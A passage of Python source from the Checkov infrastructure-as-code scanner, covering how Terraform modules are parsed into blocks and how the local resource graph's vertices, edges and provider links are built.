self.resources_types == other.resources_types and \ self.source_dir == other.source_dir and \ self.blocks == other.blocks def to_dict(self) -> dict[str, Any]: return { 'external_modules_source_map': self._to_dict_external_modules_source_map(), 'path': self.path, 'customer_name': self.customer_name, 'account_id': self.account_id, 'source': self.source, 'resources_types': self.resources_types, 'source_dir': self.source_dir, 'render_dynamic_blocks_env_var': self.render_dynamic_blocks_env_var, 'blocks': [block.to_dict() for block in self.blocks] } @staticmethod def from_dict(module_dict: dict[str, Any]) -> Module: module = Module(source_dir=module_dict.get('source_dir', ''), external_modules_source_map=Module._from_dict_external_modules_source_map(module_dict) ) module.blocks = [TerraformBlock.from_dict(block) for block in module_dict.get('blocks', [])] module.path = module_dict.get('path', '') module.customer_name = module_dict.get('customer_name', '') module.account_id = module_dict.get('account_id', '') module.source = module_dict.get('source', '') module.resources_types = module_dict.get('resources_types', set()) module.source_dir = module_dict.get('source_dir', '') module.render_dynamic_blocks_env_var = module_dict.get('render_dynamic_blocks_env_var', '') return module def _to_dict_external_modules_source_map(self) -> dict[str, str]: return {str(k_tuple): v for k_tuple, v in self.external_modules_source_map.items()} @staticmethod def _from_dict_external_modules_source_map(module_dict: dict[str, Any]) -> dict[tuple[str, str], Any]: return {literal_eval(k_tuple): v for k_tuple, v in module_dict.get('external_modules_source_map', {}).items()} def add_blocks( self, block_type: str, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType, source: str ) -> None: self.source = source if block_type in self._block_type_to_func: self._block_type_to_func[block_type](self, blocks, path) def _add_to_blocks(self, block: TerraformBlock) -> None: if isinstance(block.path, str): block.source_module_object = None block.path = block.path else: block.source_module_object = block.path.tf_source_modules block.path = block.path.file_path self.blocks.append(block) return def _add_provider(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None: for provider_dict in blocks: for name in provider_dict: attributes = provider_dict[name] if START_LINE not in attributes or END_LINE not in attributes: return provider_name = name if isinstance(attributes, dict): alias = attributes.get("alias") if alias: provider_name = f"{provider_name}.{alias[0]}" provider_block = TerraformBlock( block_type=BlockType.PROVIDER, name=provider_name, config=provider_dict, path=path, attributes=attributes, source=self.source, ) self._add_to_blocks(provider_block) def _add_variable(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None: for variable_dict in blocks: for name in variable_dict: attributes = variable_dict[name] variable_block = TerraformBlock( block_type=BlockType.VARIABLE, name=name, config=variable_dict, path=path, attributes=attributes, source=self.source, ) self._add_to_blocks(variable_block) def _add_locals(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None: for blocks_section in blocks: for name in blocks_section: if name in (START_LINE, END_LINE): # locals block generates single block sections for the start/end lines continue local_block = TerraformBlock( block_type=BlockType.LOCALS, name=name, config={name: blocks_section[name]}, path=path, attributes={name: blocks_section[name]}, source=self.source, ) self._add_to_blocks(local_block) def _add_output(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None: for output_dict in blocks: for name, attributes in output_dict.items(): if isinstance(attributes, dict): output_block = TerraformBlock( block_type=BlockType.OUTPUT, name=name, config=output_dict, path=path, attributes={"value": attributes.get("value")}, source=self.source, ) self._add_to_blocks(output_block) def _add_module(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None: for module_dict in blocks: for name, attributes in module_dict.items(): if isinstance(attributes, dict): module_block = TerraformBlock( block_type=BlockType.MODULE, name=name, config=module_dict, path=path, attributes=attributes, source=self.source, ) self._add_to_blocks(module_block) def _alter_reserved_attributes(self, attributes: Dict[str, Any]) -> Dict[str, Any]: """ Reserved attributes (like `resource_type`) needs to be altered in order to be considered in scanning """ updated_attributes = pickle_deepcopy(attributes) for reserved_attribute in reserved_attributes_to_scan: if reserved_attribute in updated_attributes: updated_attributes[wrap_reserved_attributes(reserved_attribute)] = updated_attributes[reserved_attribute] return updated_attributes def _add_resource(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None: for resource_dict in blocks: for resource_type, resources in resource_dict.items(): self.resources_types.add(resource_type) for name, resource_conf in resources.items(): attributes = self.clean_bad_characters(resource_conf) dynamic_attributes = None if not isinstance(attributes, dict): continue if self.render_dynamic_blocks_env_var.lower() == 'false': has_dynamic_block = False else: old_attributes = pickle_deepcopy(attributes) has_dynamic_block = handle_dynamic_values(attributes) dynamic_attributes = {k: attributes[k] for k in set(attributes) - set(old_attributes)} provisioner = attributes.get("provisioner") if provisioner: self._handle_provisioner(provisioner, attributes) attributes = self._alter_reserved_attributes(attributes) attributes[CustomAttributes.RESOURCE_TYPE] = [resource_type] block_name = f"{resource_type}.{name}" resource_block = TerraformBlock( block_type=BlockType.RESOURCE, name=block_name, config=self.clean_bad_characters(resource_dict), path=path, attributes=attributes, id=block_name, source=self.source, has_dynamic_block=has_dynamic_block, dynamic_attributes=dynamic_attributes ) self._add_to_blocks(resource_block) @staticmethod def clean_bad_characters(resource_conf: dict[str, Any]) -> dict[str, Any]: try: return cast("dict[str, Any]", json.loads(json.dumps(resource_conf).replace("\\\\", "\\"))) except json.JSONDecodeError: return resource_conf def _add_data(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None: for data_dict in blocks: for data_type in data_dict: for name in data_dict[data_type]: block_name = f"{data_type}.{name}" data_block = TerraformBlock( block_type=BlockType.DATA, name=block_name, config=data_dict, path=path, attributes=data_dict.get(data_type, {}).get(name, {}), id=block_name, source=self.source, ) self._add_to_blocks(data_block) def _add_terraform_block(self, blocks: List[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None: for terraform_dict in blocks: terraform_block = TerraformBlock( block_type=BlockType.TERRAFORM, name="", config=terraform_dict, path=path, attributes=terraform_dict, source=self.source, ) self._add_to_blocks(terraform_block) def _add_tf_var(self, blocks: list[Dict[str, Dict[str, Any]]], path: TFDefinitionKeyType) -> None: for block in blocks: for tf_var_name, attributes in block.items(): tfvar_block = TerraformBlock( block_type=BlockType.TF_VARIABLE, name=tf_var_name, config={tf_var_name: attributes}, path=path, attributes=attributes, source=self.source, ) self._add_to_blocks(tfvar_block) @staticmethod def _handle_provisioner(provisioner: List[Dict[str, Any]], attributes: Dict[str, Any]) -> None: for pro in provisioner: if pro.get("local-exec"): inner_attributes = TerraformBlock.get_inner_attributes("provisioner/local-exec", pro["local-exec"]) attributes.update(inner_attributes) elif pro.get("remote-exec"): inner_attributes = TerraformBlock.get_inner_attributes("provisioner/remote-exec", pro["remote-exec"]) attributes.update(inner_attributes) del attributes["provisioner"] def get_resources_types(self) -> List[str]: return list(self.resources_types) _block_type_to_func: Dict[str, _AddBlockTypeCallable] = { # noqa: CCE003 # a static attribute BlockType.DATA: _add_data, BlockType.LOCALS: _add_locals, BlockType.MODULE: _add_module, BlockType.OUTPUT: _add_output, BlockType.PROVIDER: _add_provider, BlockType.RESOURCE: _add_resource, BlockType.TERRAFORM: _add_terraform_block, BlockType.TF_VARIABLE: _add_tf_var, BlockType.VARIABLE: _add_variable, } ================================================ FILE: checkov/terraform/graph_builder/graph_to_tf_definitions.py ================================================ from __future__ import annotations import os import logging from typing import List, Dict, Any, Tuple from checkov.common.graph.graph_builder import CustomAttributes from checkov.terraform.modules.module_objects import TFDefinitionKey from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock def convert_graph_vertices_to_tf_definitions( vertices: List[TerraformBlock], root_folder: str ) -> Tuple[Dict[TFDefinitionKey, Dict[str, Any]], Dict[str, Dict[str, Any]]]: tf_definitions: Dict[TFDefinitionKey, Dict[str, Any]] = {} breadcrumbs: Dict[str, Dict[str, Any]] = {} for vertex in vertices: if vertex.block_type == BlockType.TF_VARIABLE: continue if not os.path.isfile(vertex.path): logging.debug(f'tried to convert vertex to tf_definitions but its path does not exist: {vertex}') continue tf_path = TFDefinitionKey(file_path=vertex.path) if vertex.source_module_object: tf_path = TFDefinitionKey(file_path=vertex.path, tf_source_modules=vertex.source_module_object) tf_definitions.setdefault(tf_path, {}).setdefault(vertex.block_type, []).append(vertex.config) add_breadcrumbs(vertex, breadcrumbs, f'/{os.path.relpath(vertex.path, root_folder)}') return tf_definitions, breadcrumbs def add_breadcrumbs(vertex: TerraformBlock, breadcrumbs: Dict[str, Dict[str, Any]], relative_block_path: str) -> None: vertex_breadcrumbs = vertex.breadcrumbs if vertex_breadcrumbs: vertex_key = vertex.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS, vertex.name) breadcrumbs.setdefault(relative_block_path, {})[vertex_key] = vertex_breadcrumbs ================================================ FILE: checkov/terraform/graph_builder/local_graph.py ================================================ from __future__ import annotations import json import logging import os from collections import defaultdict from functools import partial from pathlib import Path from typing import List, Optional, Union, Any, Dict, TypedDict, cast import checkov.terraform.graph_builder.foreach.consts from checkov.common.graph.graph_builder import Edge from checkov.common.graph.graph_builder import reserved_attribute_names from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes from checkov.common.graph.graph_builder.local_graph import LocalGraph from checkov.common.graph.graph_builder.utils import calculate_hash, join_trimmed_strings, filter_sub_keys, \ update_dictionary_attribute from checkov.common.runners.base_runner import strtobool from checkov.common.typing import TFDefinitionKeyType from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.terraform.graph_builder.foreach.builder import ForeachBuilder from checkov.terraform.graph_builder.foreach.consts import VIRTUAL_RESOURCE from checkov.terraform.graph_builder.variable_rendering.vertex_reference import TerraformVertexReference from checkov.terraform.modules.module_objects import TFModule, TFDefinitionKey from checkov.terraform.context_parsers.registry import parser_registry from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock from checkov.terraform.graph_builder.graph_components.generic_resource_encryption import ENCRYPTION_BY_RESOURCE_TYPE from checkov.terraform.graph_builder.graph_components.module import Module from checkov.terraform.graph_builder.utils import ( get_attribute_is_leaf, get_referenced_vertices_in_value, attribute_has_nested_attributes, remove_index_pattern_from_str, ) from checkov.terraform.graph_builder.foreach.utils import get_terraform_foreach_or_count_key, \ get_sanitized_terraform_resource_id from checkov.terraform.graph_builder.utils import is_local_path from checkov.terraform.graph_builder.variable_rendering.renderer import TerraformVariableRenderer, \ LEFT_BRACKET_WITH_QUOTATION, RIGHT_BRACKET_WITH_QUOTATION, LEFT_BRACKET, RIGHT_BRACKET, DOLLAR_PREFIX, RIGHT_CURLY, LEFT_CURLY from checkov.common.util.consts import RESOLVED_MODULE_ENTRY_NAME MODULE_RESERVED_ATTRIBUTES = ("source", "version") CROSS_VARIABLE_EDGE_PREFIX = '[cross-variable] ' S3_BUCKET_RESOURCE_NAME = "aws_s3_bucket" S3_BUCKET_REFERENCE_ATTRIBUTE = "bucket" class Undetermined(TypedDict): module_vertex_id: int attribute_name: str variable_vertex_id: int class S3ConnectedResources(TypedDict): bucket_resource_index: int | None referenced_vertices: List[Edge] class TerraformLocalGraph(LocalGraph[TerraformBlock]): def __init__(self, module: Module) -> None: super().__init__() self.vertices: list[TerraformBlock] = [] self.module = module self.map_path_to_module: Dict[str, List[int]] = {} self.relative_paths_cache: dict[tuple[str, str], str] = {} self.abspath_cache: Dict[str, str] = {} self.dirname_cache: Dict[str, str] = {} self.vertices_by_module_dependency_by_name: Dict[TFModule | None, Dict[str, Dict[str, List[int]]]] = defaultdict(partial(defaultdict, partial(defaultdict, list))) self.vertices_by_module_dependency: Dict[TFModule | None, Dict[str, List[int]]] = defaultdict(partial(defaultdict, list)) self.enable_foreach_handling = strtobool(os.getenv('CHECKOV_ENABLE_FOREACH_HANDLING', 'True')) self.enable_modules_foreach_handling = strtobool(os.getenv('CHECKOV_ENABLE_MODULES_FOREACH_HANDLING', 'True')) self.enable_datas_foreach_handling = strtobool(os.getenv('CHECKOV_ENABLE_DATAS_FOREACH_HANDLING', 'False')) self.foreach_blocks: Dict[str, List[int]] = {BlockType.RESOURCE: [], BlockType.MODULE: [], BlockType.DATA: []} # Important for foreach performance, see issue https://github.com/bridgecrewio/checkov/issues/6068 self._vertex_path_to_realpath_cache: Dict[str, str] = {} def build_graph(self, render_variables: bool) -> None: self._create_vertices() logging.info(f"[TerraformLocalGraph] created {len(self.vertices)} vertices") self._build_edges() logging.info(f"[TerraformLocalGraph] created {len(self.edges)} edges") if (self.enable_foreach_handling or self.enable_modules_foreach_handling) \ and (self.foreach_blocks[BlockType.RESOURCE] or self.foreach_blocks[BlockType.MODULE] or self.foreach_blocks[BlockType.DATA]): try: logging.info('[TerraformLocalGraph] start handling foreach') foreach_builder = ForeachBuilder(self) foreach_builder.handle(self.foreach_blocks) self._arrange_graph_data() self._build_edges() logging.info(f"[TerraformLocalGraph] finished handling foreach values with {len(self.vertices)} vertices and {len(self.edges)} edges") except Exception as e: logging.info(f'Failed to process foreach handling, error: {str(e)}') self.calculate_encryption_attribute(ENCRYPTION_BY_RESOURCE_TYPE) self._connect_module_provider() if render_variables: logging.info(f"Rendering variables, graph has {len(self.vertices)} vertices and {len(self.edges)} edges") renderer = TerraformVariableRenderer(self) renderer.render_variables_from_local_graph() self.update_vertices_fields() if strtobool(os.getenv("CHECKOV_EXPERIMENTAL_CROSS_VARIABLE_EDGES", "True")): # experimental flag on building cross variable edges for terraform graph logging.info("Building cross variable edges") edges_count = len(self.edges) self._build_cross_variable_edges() logging.info(f"Found {len(self.edges) - edges_count} cross variable edges") # building S3 edges by name for terraform graph logging.info("Building S3 edges name references") edges_count = len(self.edges) self._build_s3_name_reference_edges() logging.info(f"Found {len(self.edges) - edges_count} S3 name references edges") else: self.update_vertices_fields() def update_vertices_fields(self) -> None: # Important to keep those 2 functions together, as the first affects the calculation of the second self._update_vertices_breadcrumbs_and_module_connections() self._update_nested_modules_address() try: self._add_provider_attr_to_resources() except Exception as e: logging.info(f'Failed to add provider attributes to resources, error: {str(e)}') def _create_vertices(self) -> None: logging.info("Creating vertices") self.vertices = [None] * len(self.module.blocks) # type:ignore[list-item] # are correctly set in the next lines for i, block in enumerate(self.module.blocks): self.vertices[i] = block self._add_block_data_to_graph(i, block) if self.enable_foreach_handling and ( checkov.terraform.graph_builder.foreach.consts.FOREACH_STRING in block.attributes or checkov.terraform.graph_builder.foreach.consts.COUNT_STRING in block.attributes) \ and block.block_type in (BlockType.MODULE, BlockType.RESOURCE, BlockType.DATA): self.foreach_blocks[block.block_type].append(i) def _add_block_data_to_graph(self, idx: int, block: TerraformBlock) -> None: self.vertices_by_block_type[block.block_type].append(idx) self.vertices_block_name_map[block.block_type][block.name].append(idx) if block.block_type == BlockType.MODULE: # map between file paths and module vertices indexes from that file self.map_path_to_module.setdefault(block.path, []).append(idx) self.vertices_by_module_dependency[block.source_module_object][block.block_type].append(idx) self.vertices_by_module_dependency_by_name[block.source_module_object][block.block_type][block.name].append(idx) self.in_edges[idx] = [] self.out_edges[idx] = [] def _add_provider_attr_to_resources(self) -> None: """ Assign provider attributes to resource vertices in the Terraform configuration. This function iterates through all vertices, and for each vertex that is of the `RESOURCE` block type, it attempts to determine and assign the appropriate provider based on the vertex's attributes and the module's temporary Terraform definitions. The function performs the following steps: 1. Iterates over each vertex in `self.vertices`. 2. Checks if the vertex's `block_type` is `RESOURCE`. 3. Determines the path for the Terraform definition. 4. Checks for the presence of a provider in the vertex's attributes. 5. If no provider is found, checks in the module's temporary Terraform definition. 6. If still no provider is found, iterates through nested modules to find a provider. 7. Assigns the provider fields to the vertex once a provider is determined. """ for vertex in self.vertices: if vertex.block_type == BlockType.RESOURCE: path_for_tf_definition = TFDefinitionKey(file_path=vertex.path, tf_source_modules=vertex.source_module_object) if BlockType.PROVIDER in vertex.attributes: provider = self._get_the_default_provider(vertex.attributes[BlockType.PROVIDER], path_for_tf_definition) self._assign_provider_fields(vertex, provider) elif BlockType.PROVIDER in self.module.temp_tf_definition.get(path_for_tf_definition, {}): provider_name = self._get_the_default_provider(self.module.temp_tf_definition.get(path_for_tf_definition, {}).get(BlockType.PROVIDER, []), path_for_tf_definition, is_same_file=True) v_name = vertex.name.split('.') provider_name = vertex.config[v_name[0]][v_name[1]][CustomAttributes.TF_RESOURCE_ADDRESS].replace(vertex.name, provider_name) self._assign_provider_fields(vertex, provider_name) else: while path_for_tf_definition.tf_source_modules: if self.module.temp_tf_definition and path_for_tf_definition.tf_source_modules and BlockType.PROVIDER in self.module.temp_tf_definition.get(path_for_tf_definition, ''): module = [m for m in self.module.temp_tf_definition.get(path_for_tf_definition).get(BlockType.MODULE) if list(m.keys())[0] == vertex.source_module_object.name] # type:ignore provider_name = self._get_the_default_provider(self.module.temp_tf_definition.get(TFDefinitionKey(path_for_tf_definition.tf_source_modules.path), {}).get(BlockType.PROVIDER, []), path_for_tf_definition, module=module) self._assign_provider_fields(vertex, provider_name) break elif path_for_tf_definition.tf_source_modules and BlockType.PROVIDER in self.module.temp_tf_definition.get(TFDefinitionKey(path_for_tf_definition.tf_source_modules.path), {}): if vertex.source_module_object and vertex.source_module_object.nested_tf_module: module = [m for m in self.module.temp_tf_definition.get(TFDefinitionKey(path_for_tf_definition.tf_source_modules.path)).get(BlockType.MODULE) if list(m.keys())[0] == vertex.source_module_object.nested_tf_module.name] # type:ignore provider_name = self._get_the_default_provider(self.module.temp_tf_definition.get(TFDefinitionKey(path_for_tf_definition.tf_source_modules.path), {}).get(BlockType.PROVIDER, []), path_for_tf_definition, module=module) self._assign_provider_fields(vertex, provider_name) else: module = [m for m in self.module.temp_tf_definition.get(TFDefinitionKey(path_for_tf_definition.tf_source_modules.path)).get(BlockType.MODULE) if list(m.keys())[0] == vertex.source_module_object.name] # type:ignore provider_name = self._get_the_default_provider(self.module.temp_tf_definition.get(TFDefinitionKey(path_for_tf_definition.tf_source_modules.path), {}).get(BlockType.PROVIDER, []), path_for_tf_definition, module=module) self._assign_provider_fields(vertex, provider_name) break else: path_for_tf_definition = TFDefinitionKey(tf_source_modules=path_for_tf_definition.tf_source_modules.nested_tf_module, file_path=path_for_tf_definition.tf_source_modules.path) @staticmethod def _assign_provider_fields(vertex: TerraformBlock, provider_name: str) -> None: vertex.attributes[CustomAttributes.PROVIDER_ADDRESS] = provider_name v_name = vertex.name.split('.') vertex.config[v_name[0]][v_name[1]][CustomAttributes.PROVIDER_ADDRESS] = provider_name def _get_provider_address(self, path_for_tf_definition: TFDefinitionKeyType) -> list[int] | None: if isinstance(path_for_tf_definition, TFDefinitionKey): return self.vertices_by_module_dependency[path_for_tf_definition.tf_source_modules].get(BlockType.PROVIDER) return None def _get_the_default_provider( self, providers: list[dict[str, dict[str, Any]] | str], path_for_tf_definition: TFDefinitionKeyType, module: Optional[list[dict[str, Any]]] = None, is_same_file: bool = False ) -> str: provider_address = self._get_provider_address(path_for_tf_definition) if module and len(module) > 0: module_providers = module[0][list(module[0].keys())[0]].get('providers', [''])[0] if module_providers: for _, m_alias in module_providers.items(): if not provider_address: return cast(str, module_providers[list(module_providers.keys())[0]].replace(DOLLAR_PREFIX, "").replace(LEFT_CURLY, "").replace(RIGHT_CURLY, "")) else: for p_address in provider_address: if m_alias.replace(DOLLAR_PREFIX, "").replace(LEFT_CURLY, "").replace(RIGHT_CURLY, "") == self.vertices[p_address].name: return cast(str, self.vertices[p_address].config[list(self.vertices[p_address].config)[0]].get(CustomAttributes.TF_RESOURCE_ADDRESS)) if isinstance(providers[0], str): for provider in providers: if provider_address: for address in provider_address: if self.vertices[address].name == provider: return cast(str, self.vertices[address].config[list(self.vertices[address].config)[0]].get(CustomAttributes.TF_RESOURCE_ADDRESS)) else: for provider in providers: provider_name = list(provider.keys())[0] # type:ignore if 'alias' not in provider[provider_name]: if provider_address and not is_same_file: for p_address in provider_address: if self.vertices[p_address].name == provider_name: return cast(str, self.vertices[p_address].config[list(self.vertices[p_address].config.keys())[0]][CustomAttributes.TF_RESOURCE_ADDRESS]) return f'{provider_name}.default' return '' def _arrange_graph_data(self) -> None: # reset all the relevant data self.vertices_by_block_type = defaultdict(list) self.vertices_block_name_map = defaultdict(partial(defaultdict, list)) self.map_path_to_module = {} self.vertices_by_module_dependency = defaultdict(partial(defaultdict, list)) self.vertices_by_module_dependency_by_name = defaultdict(partial(defaultdict, partial(defaultdict, list))) self.edges = [] for i in range(len(self.vertices)): self.out_edges[i] = [] self.in_edges[i] = [] for i, block in enumerate(self.vertices): self._add_block_data_to_graph(i, block) def _get_aliases(self) -> Dict[str, Dict[str, str]]: """ :return aliases: map between alias names that are found inside the blocks and the block type their aliased to. """ return { vertex.name: {CustomAttributes.BLOCK_TYPE: vertex.block_type} for vertex in self.vertices if "alias" in vertex.attributes } def get_module_vertices_mapping(self) -> None: """ For each vertex, if it's originated in a module import, add to the vertex the index of the matching module vertex as 'source_module' """ module_lookup = {} for module_idx in self.vertices_by_block_type[BlockType.MODULE]: module_vertex = self.vertices[module_idx] composed_key = ( module_vertex.name, module_vertex.path, module_vertex.source_module_object, module_vertex.for_each_index, ) module_lookup[composed_key] = module_idx # Match vertices using the lookup for vertex in self.vertices: source_module_object = vertex.source_module_object if not source_module_object or not source_module_object.name: continue composed_key = ( source_module_object.name, source_module_object.path, source_module_object.nested_tf_module, source_module_object.foreach_idx, ) module_vertice_idx = module_lookup.get(composed_key) if module_vertice_idx is not None: vertex.source_module.add(module_vertice_idx) return def _build_edges(self) -> None: logging.info("Creating edges") self.get_module_vertices_mapping() aliases = self._get_aliases() resources_types = self.get_resources_types_in_graph() for origin_node_index, vertex in enumerate(self.vertices): self._build_edges_for_vertex(origin_node_index, vertex, aliases, resources_types) self._build_virtual_resources_edges(origin_node_index, vertex) def _build_edges_for_vertex(self, origin_node_index: int, vertex: TerraformBlock, aliases: Dict[str, Dict[str, str]], resources_types: List[str], cross_variable_edges: bool = False, referenced_modules: Optional[List[Dict[str, Any]]] = None) -> None: attribute_is_leaf = get_attribute_is_leaf(vertex) for attribute_key, attribute_value in vertex.attributes.items(): if attribute_key in reserved_attribute_names or attribute_has_nested_attributes( attribute_key, vertex.attributes, attribute_is_leaf ): continue referenced_vertices = get_referenced_vertices_in_value( value=attribute_value, aliases=aliases, resources_types=resources_types, ) for vertex_reference in referenced_vertices: # for certain blocks such as data and resource, the block name is composed of several parts. # the purpose of the loop is to avoid not finding the node if the name has several parts sub_values = [remove_index_pattern_from_str(sub_value) for sub_value in vertex_reference.sub_parts] for i in range(len(sub_values)): reference_name = join_trimmed_strings(char_to_join=".", str_lst=sub_values, num_to_trim=i) source_module_object = vertex.source_module_object if referenced_modules is not None: for module in referenced_modules: referenced_module_idx = module.get("idx") referenced_module_path = module.get("path") if referenced_module_path is None: dest_node_index = -1 else: dest_node_index = self._find_vertex_index_relative_to_path( vertex_reference.block_type, reference_name, referenced_module_path, referenced_module_idx, source_module_object=source_module_object ) self._create_edge_from_reference(attribute_key, origin_node_index, dest_node_index, sub_values, vertex_reference, cross_variable_edges) if vertex.source_module_object: dest_node_index = self._find_vertex_index_relative_to_path( vertex_reference.block_type, reference_name, vertex.path, source_module_object=source_module_object ) if dest_node_index == -1: dest_node_index = self._find_vertex_index_relative_to_path( vertex_reference.block_type, reference_name, vertex.path, source_module_object=source_module_object ) else: dest_node_index = self._find_vertex_index_relative_to_path( vertex_reference.block_type, reference_name, vertex.path, source_module_object=source_module_object, origin_vertex_index=origin_node_index ) if dest_node_index > -1 and origin_node_index > -1: self._create_edge_from_reference(attribute_key, origin_node_index, dest_node_index, sub_values, vertex_reference, cross_variable_edges) break if vertex.block_type == BlockType.MODULE and vertex.attributes.get('source') \ and isinstance(vertex.attributes['source'][0], str): dest_module_path = self._get_dest_module_path( curr_module_dir=self.get_dirname(vertex.path), dest_module_source=vertex.attributes["source"][0], dest_module_version=vertex.attributes.get("version", ["latest"])[0] ) target_variables = self._get_target_variables(vertex, dest_module_path) for attribute in vertex.attributes.keys(): if attribute in MODULE_RESERVED_ATTRIBUTES: continue target_variable = next((v for v in target_variables if self.vertices[v].name == attribute), None) if target_variable is not None: self.create_edge(target_variable, origin_node_index, "default", cross_variable_edges) elif vertex.block_type == BlockType.TF_VARIABLE: # Match tfvars based on the directory for which they were loaded target_variable = None ldir = vertex.attributes.get('load_dir', None) if ldir: for index in self.vertices_block_name_map.get(BlockType.VARIABLE, {}).get(vertex.name, []): if self.get_dirname(self.vertices[index].path) == ldir: target_variable = index break if target_variable is not None: self.create_edge(target_variable, origin_node_index, 'default', cross_variable_edges) return def _create_edge_from_reference(self, attribute_key: Any, origin_node_index: int, dest_node_index: int, sub_values: List[Any], vertex_reference: TerraformVertexReference, cross_variable_edges: bool) -> None: if dest_node_index > -1 and origin_node_index > -1: if vertex_reference.block_type == BlockType.MODULE: try: self._connect_module( sub_values, attribute_key, self.vertices[dest_node_index], origin_node_index, cross_variable_edges ) except Exception: logging.warning( f"Module {self.vertices[dest_node_index]} does not have source attribute, skipping" ) else: self.create_edge(origin_node_index, dest_node_index, attribute_key, cross_variable_edges) def _get_target_variables(self, vertex: TerraformBlock, dest_module_path: str) -> list[int]: target_path = get_vertex_as_tf_module(vertex) return [ index for index in self.vertices_by_module_dependency.get(target_path, {}).get(BlockType.VARIABLE, []) if self.get_dirname(self.vertices[index].path) == dest_module_path ] def _connect_module_provider(self) -> None: for origin_node_index, referenced_vertices in self.out_edges.items(): if not referenced_vertices: continue vertex = self.vertices[origin_node_index] # if we have an edge of module->provider we need to connect that modules' resources to the provider if vertex.block_type == BlockType.MODULE: try: tf_def = vertex.config.get(vertex.name, {}).get(RESOLVED_MODULE_ENTRY_NAME) if tf_def and isinstance(tf_def, list): if isinstance(tf_def[0], str): definition = json.loads(tf_def[0]) tf_module = TFDefinitionKey.from_json(definition).tf_source_modules else: tf_module = tf_def[0].tf_source_modules # get all resources connected to module resources = self.vertices_by_module_dependency[tf_module].get("resource") if resources: # search for provider vertices in the referenced vertices for e in referenced_vertices: if self.vertices[e.dest].block_type == BlockType.PROVIDER: for resource in resources: self.create_edge(resource, e.dest, e.label) except Exception as e: logging.warning(f"Failed in connecting module resources to provider due to {e}") def _build_cross_variable_edges(self) -> None: aliases = self._get_aliases() resources_types = self.get_resources_types_in_graph() for origin_node_index, referenced_vertices in self.out_edges.items(): vertex = self.vertices[origin_node_index] if vertex.block_type == BlockType.RESOURCE and \ any(self.vertices[e.dest].block_type != BlockType.RESOURCE for e in referenced_vertices): modules = vertex.breadcrumbs.get(CustomAttributes.SOURCE_MODULE, []) self._build_edges_for_vertex(origin_node_index, vertex, aliases, resources_types, True, modules) def _build_s3_name_reference_edges(self) -> None: # Supporting reference by name of S3 bucket resources_types = self.get_resources_types_in_graph() if S3_BUCKET_RESOURCE_NAME not in resources_types: return # Find all the edges leading to S3 bucket and their references s3_buckets_mapping: Dict[int, S3ConnectedResources] = {} for origin_node_index, referenced_vertices in self.out_edges.items(): vertex = self.vertices[origin_node_index] if vertex.block_type != BlockType.RESOURCE: continue for referenced_vertice in referenced_vertices: if referenced_vertice.label == S3_BUCKET_REFERENCE_ATTRIBUTE: current = s3_buckets_mapping.get(referenced_vertice.dest, {"bucket_resource_index": None, "referenced_vertices": list()}) if vertex.id.startswith(f"{S3_BUCKET_RESOURCE_NAME}."): current["bucket_resource_index"] = origin_node_index else: current["referenced_vertices"].append(referenced_vertice) s3_buckets_mapping[referenced_vertice.dest] = current # Create new edges of the found connections for destination, mapping in s3_buckets_mapping.items(): if self.vertices[destination].block_type in [BlockType.VARIABLE, BlockType.LOCALS]: if mapping["bucket_resource_index"] is None: continue for reference_vertex in mapping["referenced_vertices"]: self.create_edge(mapping["bucket_resource_index"], reference_vertex.origin, S3_BUCKET_REFERENCE_ATTRIBUTE, True) def create_edge(self, origin_vertex_index: int, dest_vertex_index: int, label: str, cross_variable_edges: bool = False) -> bool: if origin_vertex_index == dest_vertex_index: return False edge = Edge(origin_vertex_index, dest_vertex_index, label) if cross_variable_edges: if self.vertices[dest_vertex_index].block_type != BlockType.RESOURCE or \ self.vertices[origin_vertex_index].block_type != BlockType.RESOURCE: return False if edge in self.out_edges[origin_vertex_index]: return False edge.label = CROSS_VARIABLE_EDGE_PREFIX + edge.label if edge in self.out_edges[origin_vertex_index]: return False self.edges.append(edge) self.out_edges[origin_vertex_index].append(edge) self.in_edges[dest_vertex_index].append(edge) return True def _connect_module( self, sub_values: List[str], attribute_key: str, module_node: TerraformBlock, origin_node_index: int, cross_variable_edges: bool = False ) -> None: """ :param sub_values: list of sub values of the attribute value. example: given 'instance_type = module.child.myoutput', then attribute_key = instance_type, sub_values = ['child', 'myoutput'] :param attribute_key: the name of the attribute that has module block as value :param module_node: the graph node of the module The function receives a node of a block of type BlockType.Module, and finds all the nodes of blocks that belong to this module, and creates edges between them. """ curr_module_dir = self.get_dirname(module_node.path) dest_module_source = module_node.attributes["source"][0] dest_module_version = module_node.attributes.get("version", ["latest"])[0] dest_module_path = self._get_dest_module_path( curr_module_dir=curr_module_dir, dest_module_source=dest_module_source, dest_module_version=dest_module_version ) if len(sub_values) > 1: block_name_in_other_module = sub_values[1] output_blocks_with_name = self.vertices_block_name_map.get(BlockType.OUTPUT, {}).get( block_name_in_other_module, [] ) for vertex_index in output_blocks_with_name: vertex = self.vertices[vertex_index] if self._should_add_edge(vertex, dest_module_path, module_node): added_edge = self.create_edge(origin_node_index, vertex_index, attribute_key, cross_variable_edges) if added_edge: self.vertices[origin_node_index].add_module_connection(attribute_key, vertex_index) break def _get_dest_module_path(self, curr_module_dir: str, dest_module_source: str, dest_module_version: str) -> str: """ :param curr_module_dir: current source directory :param dest_module_source: the value of module.source :return: the real path in the local file system of the dest module """ relative_path_key = (curr_module_dir, dest_module_source) if relative_path_key in self.relative_paths_cache: return self.relative_paths_cache[relative_path_key] elif is_local_path(curr_module_dir, dest_module_source): self.relative_paths_cache[relative_path_key] = 